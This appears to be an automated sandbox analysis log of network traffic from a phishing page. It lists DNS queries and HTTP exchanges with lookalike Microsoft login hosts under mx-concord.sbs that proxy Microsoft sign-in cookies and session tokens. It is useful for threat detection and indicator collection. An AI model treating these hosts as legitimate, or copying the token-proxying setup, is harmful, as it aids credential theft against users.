Source: global traffic	HTTP traffic detected: GET /16.000.30324.2/images/favicon.ico HTTP/1.1Host: 995a2a74-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: portal.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://portal.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0; ESTSWCTXFLOWTOKEN=AQABIQEAAAApTwJmzXqdR4BN2miheQMYlFCpZ59JsLeiNocVPGB1aE4YT_oiZxqHwUy8O85bvoB7EaS6t2CQti7XSQMMw9SSpGGiSG1TQYHKvuW8Uh-1bK0eBSKRQzLf0jcBUtNg2JDo-RYurWf55TxkBXKNt-8WsJc1rOvCAOKLkSedas65tlM0_UkRjc-J9S-M4JtFbQ72PbrcbywcIQy2Y1JlSBZGAJzSVYjngNJSpnzvT-UJibRetVAii6KOe8i7pdGpuvvI3j9D2hnVRmYqFYLYWIN16-tNuqFFYaTgFmCuLI-4g3neXbML01qSbNp7Mj0_A_lF2Q0AunFq5NhkO4M3wttL7tpTHr4cV6O5wc2S9zpQd2rn7087cdF8Nk4x-m29CAejHFyxLBzg66xK8WxDWJ7hshbNvn6ChPz6V95h7Kr_BCUO8cFUAwbIkU4x2tjDipm0H4JMJln_6_26RZrW6hX7BaU6D2Q791YNlUgXd12QBMis2xPis8zP-v9Xao27HiaQKc9iOSvPJ-oE53rqiTrTIAASec-WebSocket-Key: M6fyAbBBYLPCJGz6p/v77A==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: l1ve.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l1ve.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; MicrosoftApplicationsTelemetryDeviceId=13cf8794-1286-4d89-b8be-a7957aae8ae9; ai_session=GZHcxTGbo1eBjtJoP5Q/oL\|1724876495985\|1724876495985Sec-WebSocket-Key: t3AoyYYGhDSBGy0rnYvcGg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0 HTTP/1.1Host: 47af7f62-b128254c.mx-concord.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bb
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: portal.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://portal.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0; ESTSWCTXFLOWTOKEN=AQABIQEAAAApTwJmzXqdR4BN2miheQMYlFCpZ59JsLeiNocVPGB1aE4YT_oiZxqHwUy8O85bvoB7EaS6t2CQti7XSQMMw9SSpGGiSG1TQYHKvuW8Uh-1bK0eBSKRQzLf0jcBUtNg2JDo-RYurWf55TxkBXKNt-8WsJc1rOvCAOKLkSedas65tlM0_UkRjc-J9S-M4JtFbQ72PbrcbywcIQy2Y1JlSBZGAJzSVYjngNJSpnzvT-UJibRetVAii6KOe8i7pdGpuvvI3j9D2hnVRmYqFYLYWIN16-tNuqFFYaTgFmCuLI-4g3neXbML01qSbNp7Mj0_A_lF2Q0AunFq5NhkO4M3wttL7tpTHr4cV6O5wc2S9zpQd2rn7087cdF8Nk4x-m29CAejHFyxLBzg66xK8WxDWJ7hshbNvn6ChPz6V95h7Kr_BCUO8cFUAwbIkU4x2tjDipm0H4JMJln_6_26RZrW6hX7BaU6D2Q791YNlUgXd12QBMis2xPis8zP-v9Xao27HiaQKc9iOSvPJ-oE53rqiTrTIAA; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bbSec-WebSocket-Key: XYzYtPLgszA4va/M1WqlhQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: l1ve.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l1ve.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; MicrosoftApplicationsTelemetryDeviceId=13cf8794-1286-4d89-b8be-a7957aae8ae9; ai_session=GZHcxTGbo1eBjtJoP5Q/oL\|1724876495985\|1724876495985; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bb; MSFPC=GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081Sec-WebSocket-Key: MmtL1mmTitBwaHuxBfuabg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: l1ve.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l1ve.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; MicrosoftApplicationsTelemetryDeviceId=13cf8794-1286-4d89-b8be-a7957aae8ae9; ai_session=GZHcxTGbo1eBjtJoP5Q/oL\|1724876495985\|1724876495985; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bb; MSFPC=GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081Sec-WebSocket-Key: wdmy/MOqJnXzBA7R+rNrtQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: portal.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://portal.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; brcap=0; ESTSWCTXFLOWTOKEN=AQABIQEAAAApTwJmzXqdR4BN2miheQMYlFCpZ59JsLeiNocVPGB1aE4YT_oiZxqHwUy8O85bvoB7EaS6t2CQti7XSQMMw9SSpGGiSG1TQYHKvuW8Uh-1bK0eBSKRQzLf0jcBUtNg2JDo-RYurWf55TxkBXKNt-8WsJc1rOvCAOKLkSedas65tlM0_UkRjc-J9S-M4JtFbQ72PbrcbywcIQy2Y1JlSBZGAJzSVYjngNJSpnzvT-UJibRetVAii6KOe8i7pdGpuvvI3j9D2hnVRmYqFYLYWIN16-tNuqFFYaTgFmCuLI-4g3neXbML01qSbNp7Mj0_A_lF2Q0AunFq5NhkO4M3wttL7tpTHr4cV6O5wc2S9zpQd2rn7087cdF8Nk4x-m29CAejHFyxLBzg66xK8WxDWJ7hshbNvn6ChPz6V95h7Kr_BCUO8cFUAwbIkU4x2tjDipm0H4JMJln_6_26RZrW6hX7BaU6D2Q791YNlUgXd12QBMis2xPis8zP-v9Xao27HiaQKc9iOSvPJ-oE53rqiTrTIAA; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bbSec-WebSocket-Key: dCH1AWkigqCVsDDuqMVXeA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: l1ve.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l1ve.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; MicrosoftApplicationsTelemetryDeviceId=13cf8794-1286-4d89-b8be-a7957aae8ae9; ai_session=GZHcxTGbo1eBjtJoP5Q/oL\|1724876495985\|1724876495985; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bb; MSFPC=GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081Sec-WebSocket-Key: kKNP1S+d60+KhLuLXcB1jA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1Host: portal.mx-concord.sbsConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://portal.mx-concord.sbsSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; brcap=0; ESTSWCTXFLOWTOKEN=AQABIQEAAAApTwJmzXqdR4BN2miheQMYlFCpZ59JsLeiNocVPGB1aE4YT_oiZxqHwUy8O85bvoB7EaS6t2CQti7XSQMMw9SSpGGiSG1TQYHKvuW8Uh-1bK0eBSKRQzLf0jcBUtNg2JDo-RYurWf55TxkBXKNt-8WsJc1rOvCAOKLkSedas65tlM0_UkRjc-J9S-M4JtFbQ72PbrcbywcIQy2Y1JlSBZGAJzSVYjngNJSpnzvT-UJibRetVAii6KOe8i7pdGpuvvI3j9D2hnVRmYqFYLYWIN16-tNuqFFYaTgFmCuLI-4g3neXbML01qSbNp7Mj0_A_lF2Q0AunFq5NhkO4M3wttL7tpTHr4cV6O5wc2S9zpQd2rn7087cdF8Nk4x-m29CAejHFyxLBzg66xK8WxDWJ7hshbNvn6ChPz6V95h7Kr_BCUO8cFUAwbIkU4x2tjDipm0H4JMJln_6_26RZrW6hX7BaU6D2Q791YNlUgXd12QBMis2xPis8zP-v9Xao27HiaQKc9iOSvPJ-oE53rqiTrTIAA; MC1="GUID=08dcff3a443445368fe0a95c171140dd&HASH=08dc&LV=202408&V=4&LU=1724876504081"; MS0=f1b71fed9e884fb0bfe761f920ada0bbSec-WebSocket-Key: 0Esdk6ioHoN+nAv/wgXSLA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Source: global traffic	DNS traffic detected: DNS query: gcc02.safelinks.protection.outlook.com
Source: global traffic	DNS traffic detected: DNS query: api.emailinc.net
Source: global traffic	DNS traffic detected: DNS query: willyadventures.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: avco.co.jp
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: portal.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: a230fc93-b128254c.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: 68bc0e6a-b128254c.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: 96f04cf4-b128254c.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: l1ve.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: 2380eb27-b128254c.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: 18e976ad-b128254c.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: d850edeb-b128254c.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: 995a2a74-b128254c.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: 97b8b702-b128254c.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: ed89c33c-b128254c.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: ad0ce364-b128254c.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: 3d801160-b128254c.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: e68d1619-b128254c.mx-concord.sbs
Source: global traffic	DNS traffic detected: DNS query: 47af7f62-b128254c.mx-concord.sbs

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:20:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: e01fb4a9-7df5-4e3f-86ad-7d2319a44f00x-ms-ests-server: 2.1.18794.6 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:20:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 45269624-1ca3-415e-be7d-c87935c6a000x-ms-ests-server: 2.1.18760.5 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: f60e6825-a744-473a-ab53-c16fde2d6600x-ms-ests-server: 2.1.18794.6 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: no-store, no-cachex-ms-correlation-id: 95c76bc5-92ae-45f2-a25c-0683e70d88fax-ua-compatible: IE=Edgex-cache: CONFIG_NOCACHEx-msedge-ref: Ref A: 3CDA5A961DEB4356819F7B72A33B0E98 Ref B: VIEEDGE3910 Ref C: 2024-08-28T20:21:05Zaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: bd1ee6f9-cc7c-4491-a9b0-8acee8269100x-ms-ests-server: 2.1.18794.6 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: b329c89c-e9a4-4380-8ba3-44e819996300x-ms-ests-server: 2.1.18794.6 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: no-store, no-cachex-ms-correlation-id: ec2f06ed-8222-4daa-9fba-3af764a996aax-ua-compatible: IE=Edgex-cache: CONFIG_NOCACHEx-msedge-ref: Ref A: E1122436E57849C3B599580D769C3EEB Ref B: VIEEDGE3417 Ref C: 2024-08-28T20:21:21Zaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: f87b7e99-8e51-442f-a0a0-9fecb8e0be01x-ms-ests-server: 2.1.18794.6 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 02fd58c3-bc20-44b7-a274-ad87637d9500x-ms-ests-server: 2.1.18794.6 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: d327da2a-6c6e-481b-8352-f465a76f4b00x-ms-ests-server: 2.1.18794.6 - NEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 661728b0-ba97-4e00-b987-4db63a505800x-ms-ests-server: 2.1.18794.6 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingppserver: PPV: 30 H: BL02EPF0001DA4E V: 0access-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingppserver: PPV: 30 H: SN1PEPF0002F1B9 V: 0access-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: d327da2a-6c6e-481b-8352-f46538724b00x-ms-ests-server: 2.1.18794.6 - NEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingppserver: PPV: 30 H: BL02EPF0001D9C6 V: 0access-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 6442c33e-f07f-402e-b530-ef80ede7b501x-ms-ests-server: 2.1.18794.6 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:21:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingppserver: PPV: 30 H: SN1PEPF0002F93A V: 0access-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:22:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingppserver: PPV: 30 H: BL02EPF0001D88E V: 0access-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Aug 2024 20:22:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 2a6eb0f4-c724-451f-ae59-fb3268d85500x-ms-ests-server: 2.1.18794.6 - NEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
